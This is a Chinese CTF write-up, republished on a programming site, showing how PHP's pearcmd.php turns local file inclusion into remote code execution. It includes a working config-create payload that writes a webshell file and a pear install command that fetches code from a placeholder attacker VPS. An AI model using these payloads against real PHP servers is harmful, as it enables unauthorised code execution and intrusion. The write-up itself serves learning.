我的编程空间,编程开发者的网络收藏夹
学习永远不晚

LFI TO RCE之pearcmd.php的妙用

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

LFI TO RCE之pearcmd.php的妙用

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


前言

提示:这里可以添加本文要记录的大概内容:

在玩Buu的NewStarCTF时,遇到了一道LFI to RCE的题,规定了php后缀,一点思路都没有,赛后看了WP,总结一下。


提示:以下是本篇文章正文内容,下面案例可供参考

一、pear是什么

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

并且php.ini当中 register_argc_argv=On需要开启,假如环境中没有php.ini,则默认register_argc_argv=On。

register_argc_argv=On其实对应了$_SERVER[‘argv’],即获取参数。

如: 

 +为分隔符

二、pear的妙用

pear的源代码如下:

#!/bin/sh# first find which PHP binary to useif test "x$PHP_PEAR_PHP_BIN" != "x"; then  PHP="$PHP_PEAR_PHP_BIN"else  if test "/usr/bin/php" = '@'php_bin'@'; then    PHP=php  else    PHP="/usr/bin/php"  fifi# then look for the right pear include dirif test "x$PHP_PEAR_INSTALL_DIR" != "x"; then  INCDIR=$PHP_PEAR_INSTALL_DIR  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"else  if test "/usr/share/php" = '@'php_dir'@'; then    INCDIR=`dirname $0`    INCARG=""  else    INCDIR="/usr/share/php"    INCARG="-d include_path=/usr/share/php"  fifiexec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
PEAR_Command::setFrontendType('CLI');$all_commands = PEAR_Command::getCommands();$argv = Console_Getopt::readPHPArgv();// fix CGI sapi oddity - the -- in pear.bat/pear is not removedif (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {    unset($argv[1]);    $argv = array_values($argv);}public static function readPHPArgv()    {        global $argv;        if (!is_array($argv)) {            if (!@is_array($_SERVER['argv'])) {                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {                    $msg = "Could not read cmd args (register_argc_argv=Off?)";                    return PEAR::raiseError("Console_Getopt: " . $msg);                }                return $GLOBALS['HTTP_SERVER_VARS']['argv'];            }            return $_SERVER['argv'];        }        return $argv;    }
代码不是很理解,就是当执行了pearcmd.cmd,会将$_SERVER[‘argv’]当作参数执行

三、例题:NewStarCTF(Includetwo)

题目如下:

 

 

 payload:+config-create+/&file=/usr/local/lib/php/pearcmd&/+/var/www/html/a.php 

不同的系统pearcmd存放的位置好像不一定, 有的在/usr/share/php/pearcmd.php。

关于payload的解释: config-create是pearcmd.php的参数,用于创建默认配置文件。

这个命令需要两个参数,根路径和文件名。所以payload是利用该参数将写入到/var/www/html/a.php文件中。

四、本地测试

 注意的点:
1、开启了register_argc_argv选项

pearcmd.php文件的路径

能够进行文件包含,allow_url_include开启

open_basedir不存在限制

 还可以使用install或download参数进行远程下载进行RCE:

 

file=/usr/share/php/pearcmd.php&+install+-R+/tmp+http://[vps:ip]/test/peartest.php 


 总结

文件包含到RCE,目前知道的有session包含的条件竞争,日志包含,pearcmd的利用。

来源地址:https://blog.csdn.net/weixin_53090346/article/details/127241278

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

LFI TO RCE之pearcmd.php的妙用

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

python妙用之编码的转换详解

前言 记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题
2022-06-04

Python实用技巧之临时文件的妙用

当我们用Python编写程序时,有时候需要临时存储数据且不希望占用多少内存,这些情况下以创建临时文件的方式进行处理,既不会干扰本地文件系统,又安全省事。本文主要介绍了临时文件的一些妙用,希望大家能够喜欢
2023-02-27

shift妙用之解决shell编程中的入参问题

我说过了,shell是我的常规武器,目前虽然还不纯熟,但是我爱shell这门语言,在Linux下面混,总要写脚本。程序员是有基因,对编程语言是有偏好的,你让我写C代码,我会觉得很爽,会有困难,会有痛苦的摸索和学习,但是,我愿意;学习shel
2022-06-04

洞悉Java Map的巧妙设计,开启算法与应用之门

Java Map是一种用于存放键值对的集合,具有强大的功能和广泛的应用场景,是程序员开发中的必备工具。本文将从Java Map的设计、实现以及应用方面进行深入剖析,帮助读者全面掌握Java Map的使用技巧,开启算法与应用之门。
洞悉Java Map的巧妙设计,开启算法与应用之门
2024-02-05

ASP 用户控件的魅力之旅:妙用控件库,纵享开发高效畅快

ASP 用户控件闪耀登场,其独特魅力不可抵挡,开发人员得其助力,开发之旅畅快淋漓。
ASP 用户控件的魅力之旅:妙用控件库,纵享开发高效畅快
2024-02-26

揭秘 VUE Mixins 的精妙之处:组件复用与代码简洁的完美结合

VUE Mixins 是一个强大的工具,它允许你将组件的共用逻辑提取出来,并以可复用的方式在多个组件中使用。这可以大大减少代码的重复,并使你的代码更易于维护。
揭秘 VUE Mixins 的精妙之处:组件复用与代码简洁的完美结合
2024-02-13

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录